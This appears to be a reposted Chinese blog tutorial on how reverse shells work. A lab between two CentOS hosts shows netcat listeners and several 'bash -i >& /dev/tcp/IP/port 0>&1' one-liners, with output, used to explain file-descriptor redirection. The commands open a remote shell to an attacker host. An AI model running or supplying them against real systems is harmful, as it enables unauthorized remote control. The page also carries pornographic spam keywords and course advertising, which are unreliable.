日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) >

centos7输入shell找不到命令_反弹shell原理与实现

發(fā)布時(shí)間:2025/4/5 46 豆豆
生活随笔 收集整理的這篇文章主要介紹了 centos7输入shell找不到命令_反弹shell原理与实现 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

什么是反彈shell?

  反彈shell(reverse shell),就是控制端監(jiān)聽(tīng)在某TCP/UDP端口,被控端發(fā)起請(qǐng)求到該端口,并將其命令行的輸入輸出轉(zhuǎn)到控制端。reverse shell與telnet,ssh等標(biāo)準(zhǔn)shell對(duì)應(yīng),本質(zhì)上是網(wǎng)絡(luò)概念的客戶端與服務(wù)端的角色反轉(zhuǎn)。

為什么要反彈shell?

通常用于被控端因防火墻受限、權(quán)限不足、端口被占用等情形。

舉例:假設(shè)我們攻擊了一臺(tái)機(jī)器,打開(kāi)了該機(jī)器的一個(gè)端口,攻擊者在自己的機(jī)器去連接目標(biāo)機(jī)器(目標(biāo)ip:目標(biāo)機(jī)器端口),這是比較常規(guī)的形式,我們叫做正向連接。遠(yuǎn)程桌面、web服務(wù)、ssh、telnet等等都是正向連接。那么什么情況下正向連接不能用了呢?

有如下情況:

1.某客戶機(jī)中了你的網(wǎng)馬,但是它在局域網(wǎng)內(nèi),你直接連接不了。

2.目標(biāo)機(jī)器的ip動(dòng)態(tài)改變,你不能持續(xù)控制。

3.由于防火墻等限制,對(duì)方機(jī)器只能發(fā)送請(qǐng)求,不能接收請(qǐng)求。

4.對(duì)于病毒,木馬,受害者什么時(shí)候能中招,對(duì)方的網(wǎng)絡(luò)環(huán)境是什么樣的,什么時(shí)候開(kāi)關(guān)機(jī)等情況都是未知的,所以建立一個(gè)服務(wù)端讓惡意程序主動(dòng)連接,才是上策。

那么反彈就很好理解了,攻擊者指定服務(wù)端,受害者主機(jī)主動(dòng)連接攻擊者的服務(wù)端程序,就叫反彈連接。

參考: https://www.zhihu.com/question/24503813

反彈shell實(shí)驗(yàn)

環(huán)境:兩臺(tái)CentOS7.6服務(wù)器

  • 攻擊端 hacker:10.201.61.194
  • 受害端 victim:10.201.61.195

1. 攻擊端監(jiān)聽(tīng)一個(gè)端口:

[root@hacker ~]# nc -lvp 6767 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Listening on :::6767 Ncat: Listening on 0.0.0.0:6767

2.受害端生成一個(gè)反彈shell:

[root@victim ~]# bash -i >& /dev/tcp/10.201.61.194/6767 0>&1

3.攻擊端已獲取到受害端的bash:

[root@hacker ~]# nc -lvp 6767 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Listening on :::6767 Ncat: Listening on 0.0.0.0:6767 Ncat: Connection from 10.201.61.195. Ncat: Connection from 10.201.61.195:46836. [root@victim ~]# //攻擊端已獲得受害端的遠(yuǎn)程交互式shell [root@victim ~]# hostname hostname victim

解釋:

1. nc -lvp 6767

-l 監(jiān)聽(tīng),-v 輸出交互或出錯(cuò)信息,-p 端口。nc是netcat的簡(jiǎn)寫,可實(shí)現(xiàn)任意TCP/UDP端口的偵聽(tīng),nc可以作為server以TCP或UDP方式偵聽(tīng)指定端口。

2. bash -i

-i interactive。即產(chǎn)生一個(gè)交互式的shell(bash)。

3. /dev/tcp/IP/PORT

特殊設(shè)備文件(Linux一切皆文件),實(shí)際這個(gè)文件是不存在的,它只是 bash 實(shí)現(xiàn)的用來(lái)實(shí)現(xiàn)網(wǎng)絡(luò)請(qǐng)求的一個(gè)接口。打開(kāi)這個(gè)文件就相當(dāng)于發(fā)出了一個(gè)socket調(diào)用并建立一個(gè)socket連接,讀寫這個(gè)文件就相當(dāng)于在這個(gè)socket連接中傳輸數(shù)據(jù)。

通過(guò)以下4個(gè)小測(cè)試來(lái)分析反彈shell實(shí)現(xiàn)過(guò)程:

(PS: 注意執(zhí)行步驟順序)

測(cè)試1:

受害端:

[root@victim ~]# bash -i > /dev/tcp/10.201.61.194/5566 //第二步 [root@victim ~]# hostname //第三步 [root@victim ~]#攻擊端:[root@hacker ~]# nc -lvp 5566 //第一步Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Listening on :::5566 Ncat: Listening on 0.0.0.0:5566 Ncat: Connection from 10.201.61.195. Ncat: Connection from 10.201.61.195:49018.victim //測(cè)試1結(jié)果:實(shí)現(xiàn)了將受害端的標(biāo)準(zhǔn)輸出重定向到攻擊端,但是還沒(méi)實(shí)現(xiàn)用命令控制受害端。

測(cè)試2:

受害端:

[root@victim ~]# bash -i < /dev/tcp/10.201.61.194/5566 //第二步 [root@victim ~]# hostname //測(cè)試2結(jié)果:實(shí)現(xiàn)了將攻擊端的輸入重定向到受害端,但是攻擊端看不到命令執(zhí)行結(jié)果。 victim攻擊端:[root@hacker ~]# nc -lvp 5566 //第一步 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Listening on :::5566 Ncat: Listening on 0.0.0.0:5566 Ncat: Connection from 10.201.61.195. Ncat: Connection from 10.201.61.195:50412. hostname //第三步(攻擊端執(zhí)行命令)

測(cè)試3:

受害端:

[root@victim ~]# bash -i > /dev/tcp/10.201.61.194/5566 0>&1 //第二步 [root@victim ~]# hostname //受害端回顯命令 [root@victim ~]# id //受害端回顯命令 [root@victim ~]# hahaha //受害端回顯命令 bash: hahaha: command not found //受害端回顯命令。顯示錯(cuò)誤命令的輸出。 [root@victim ~]#攻擊端:[root@hacker ~]# nc -lvp 5566 //第一步 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Listening on :::5566 Ncat: Listening on 0.0.0.0:5566 Ncat: Connection from 10.201.61.195. Ncat: Connection from 10.201.61.195:36792. hostname //第三步(攻擊端執(zhí)行命令) victim id //第四步(攻擊端執(zhí)行命令) uid=0(root) gid=0(root) groups=0(root) hahaha //第五步(執(zhí)行一個(gè)錯(cuò)誤的命令)//測(cè)試3結(jié)果:基本實(shí)現(xiàn)了反彈shell的功能。但是受害端的機(jī)器上依然回顯了攻擊者機(jī)器上執(zhí)行的命令,且攻擊端看不到錯(cuò)誤命令的輸出。

測(cè)試4(將上面三個(gè)測(cè)試結(jié)合。將標(biāo)準(zhǔn)輸入、標(biāo)準(zhǔn)輸出、錯(cuò)誤輸出全都重定向到攻擊端):

受害端:[root@victim ~]# bash -i > /dev/tcp/10.201.61.194/5566 0>&1 2>&1 //第二步。或 # bash -i &> /dev/tcp/10.201.61.194/5566 0>&1 (注:&>或>& 表示混合輸出,即標(biāo)準(zhǔn)輸出1 + 錯(cuò)誤輸出2)攻擊端:[root@hacker ~]# nc -lvp 5566 //第一步 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Listening on :::5566 Ncat: Listening on 0.0.0.0:5566 Ncat: Connection from 10.201.61.195. Ncat: Connection from 10.201.61.195:51182. [root@victim ~]# hostname //第三步。測(cè)試4結(jié)果:攻擊端已獲得受害端的遠(yuǎn)程交互式shell,而且受害端沒(méi)有再回顯攻擊端輸入的命令~ hostname victim//PS:由測(cè)試3、測(cè)試4對(duì)比可見(jiàn),標(biāo)準(zhǔn)錯(cuò)誤2不僅顯示錯(cuò)誤信息的作用,居然還有回顯輸入命令和終端提示符的作用~~~

總結(jié):

本文整理了反彈shell的一些資料并通過(guò)實(shí)驗(yàn)理解反彈shell原理。深入理解文件描述符和重定向才能更好弄懂反彈shell~

參考:https://xz.aliyun.com/t/2549 先知社區(qū):Linux 反彈shell(二)反彈shell的本質(zhì) https://www.freebuf.com/articles/system/153986.html FREEBUF:淺析重定向與反彈Shell命令

以上內(nèi)容希望幫助到大家,很多PHPer在進(jìn)階的時(shí)候總會(huì)遇到一些問(wèn)題和瓶頸,業(yè)務(wù)代碼寫多了沒(méi)有方向感,不知道該從那里入手去提升,對(duì)此我整理了一些資料,包括但不限于:分布式架構(gòu)、高可擴(kuò)展、高性能、高并發(fā)、服務(wù)器性能調(diào)優(yōu)、TP6,laravel,YII2,Redis,Swoole、Swoft、Kafka、Mysql優(yōu)化、shell腳本、Docker、微服務(wù)、Nginx等多個(gè)知識(shí)點(diǎn)高級(jí)進(jìn)階干貨需要的可以免費(fèi)分享給大家,需要戳下方

PHP進(jìn)階架構(gòu)師>>>視頻、面試文檔免費(fèi)獲取?docs.qq.com

或者關(guān)注我看更多技術(shù)文

PHP架構(gòu)師之路?www.zhihu.com來(lái)源:https://www.cnblogs.com/iouwenbo/p/11277453.html

總結(jié)

以上是生活随笔為你收集整理的centos7输入shell找不到命令_反弹shell原理与实现的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。